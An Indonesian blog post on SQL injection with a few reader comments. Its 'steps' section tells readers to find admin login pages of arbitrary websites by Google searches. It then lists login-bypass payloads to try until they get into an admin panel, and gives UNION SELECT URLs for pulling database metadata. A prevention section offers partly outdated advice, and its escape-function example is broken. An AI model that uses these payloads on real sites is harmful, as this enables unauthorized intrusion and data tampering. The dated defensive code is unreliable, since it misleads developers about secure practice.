07.01.08

SQL INJECTION

Posted in Programming at 1:58 am by mahmudiimam

SQL INJECTION

Pengertian :

* sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
* merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

SQL INJECTION

Atau dengan kata lain :

Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.

SQL INJECTION

Tehnik hacking sql injection mulai mencuat kepermukaan semenjak dijebolnya situs KPU pada pemilu putaran pertama kemarin oleh Dani Firmansyah atau Xnuxer. Dengan teknik ini dia dapat masuk sebagai web administrator tanpa susah payah scan port port yang terbuka , tanpa terdeteksi oleh firewall dan tanpa tool khusus ke situs KPU yang konon systemnya yang seharga 152 milyar itu keamanannya berlapis lapis.

Akibat yang akan timbul :

* Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account.
* Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database.
* Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server.

Langkah-langkah
SQL INJECTION

* Cari situs web yang memiliki form login :

a. masuk ke Google / yang lain

b. Masukkan keyword :

“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”

Langkah-langkah
SQL INJECTION

2. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).

3. Masukkan kode berikut :

User name : ` or `a’='a
Password : ` or `a’='a (termasuk tanda petiknya)

4. Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about,dan lain-lain. Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.

5. Banyak variasi kode yang mungkin, antara lain :

User name : admin
Password : ` or `a’='a
atau bisa dimasukkan ke dua–duanya misal :

‘ or 0=0 –  ;  “ or 0=0 — ;  or 0=0 — ;  ‘ or 0=0 # ;

“ or 0=0 # ;  ‘ or’x’=’x ;  “ or “x”=”x  ;  ‘) or (‘x’=’x

6. Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Langkah-langkah
SQL INJECTION

$username = $_POST['username'];

$password = $_POST['password'];

$query = “SELECT * FROM user WHERE username = ‘$username‘ AND password = ‘$password’”;

Sekarang, perhatikan apa yang terjadi apabila dalam form dimasukkan input sebarang nama user dan password berbentuk ‘ OR ‘1′ = ‘1. Pastilah login akan sukses karena perintah SQL yang dijalankan adalah :

SELECT * FROM user WHERE username = ‘xxx‘ AND password = ” OR ‘1′ = ‘1′

yang akan selalu menghasilkan nilai TRUE.

Langkah-langkah
SQL INJECTION

Contoh SQL Injection via URL

1.http://10.103.1.100/inject_sql/index.php?read=viewdat&id=1

Sekilas kalo dilihat tidak terjadi apa2 sekarang kita tambahkan tanda – sebelum 1. maka  pada area SCREENSHOT dan data akan hilang, kemungkinan besar bisa di inject, tapi ingat tidak semuanya bisa.

Contoh SQL Injection via URL

2. Kita mulai injectnya dengan menggunakan UNION SELECT .

http://10.103.1.100/inject_sql/index.php?read=viewdat&id=-1‘ UNION SELECT 1,2,3,4,5,6,version()/*

* version() : current mysql version
* database() : current database where user is connected
* user() : connected to the database
* system_user() : obvious
* session_user()
* current_user()
* last_insert_id()
* connection_id()

Contoh SQL Injection via URL

Untuk mencari tabelnya kita gunakan perintah table_name from information_schema.tables where table_schema=database() limit 0,1/*

http://10.103.1.100/inject_sql/index.php?read=viewdat&id=-1′%20UNION%20SELECT%20column_name,1,2,3,4,5,6%20from%20information_schema.columns%20where%20table_name=’tuser’%20limit%200,6/*

Pencegahan SQL Injection

1. Batasi panjang input box (jika memungkinkan), dengan cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang. Jangan izinkan user menginput selain karakter a – z atau A – Z atau 0 – 9 , selain dari pada itu ditolak pada saat pengecekan.

Pencegahan SQL Injection

2.  Memperketat hak akses user dalam MySQL.

3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.

4. Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.

5. Ubah “Startup and run SQL Server” menggunakan low privilege user di SQL Server Security tab.

Pencegahan SQL Injection

6. Update PHP rilis terbaru yang telah dilengkapi security dengan mengubah karakter single quote (‘) menjadi (\’). Dengan kata lain karakter single quote yang diinputkan melalui form secara otomatis akan diubah menjadi backslash-single quote (\’).

7. Gunakan fungsi yang dapat mencegah SQL Injection, antara lain :

Pencegahan SQL Injection

1.mysql_escape_string

Contoh : <?php

$string = “The Injec’tion “;   $filter = mysql_escape_string($item);

printf(“Hasil Filter : %s\n”, $Filter);

?>

Fungsi mysql_escape_string merubah “The Injec’tion” menjadi “The Injec\’tion”

2. mysql_real_escape_string

Contoh : <?php

$kon = mysql_connect(‘localhost’, ‘mysql_user’, ‘mysql_password’);

if (!$kon) { die(‘Gak Konek: ‘ . mysql_error()); }

$string = “The Injec’tion’s”;

$filter = mysql_real_escape_string($string, $kon);

printf(“Hasil Filter: %s\n”, $filter);

?>

Fungsi mysql_real_escape_string merubah “The Injec’tion’s” menjadi “The Injec\’tion\’s”

Pencegahan SQL Injection

8. Pemfilteran karakter ‘ dengan  memodifikasi php.ini

Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php

Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

Terima kasih

3 Comments »

  1. mimie said,

    hi, saya sedang diperintahkan oleh bos saya untuk cms yang telah diserang sql injection ini. tapi saya tidak tahu bagaimana ingin membetulkannya dan apa codingnya. saya ingin meminta bantuan anda kalo bisa tolong saya ya…

    • mahmudiimam said,

      kalo boleh tau cmsnya kayak apa? dan sourcnya yg kena sql injection kayak apa samplenya ??
      mungkin bisa bantu..

      • mimie said,

        oh yang itu sudah dapat diselesaikan, terima kasih ya.. tapi ada 1 lagi masalah. bos saya minta untuk buat replace special character pada input yang user masukkan menggunakan asp. saya pusing memikirkannya dan tidak tahu menyelesaikannya..tolong ya kalau bisa…


Leave a Comment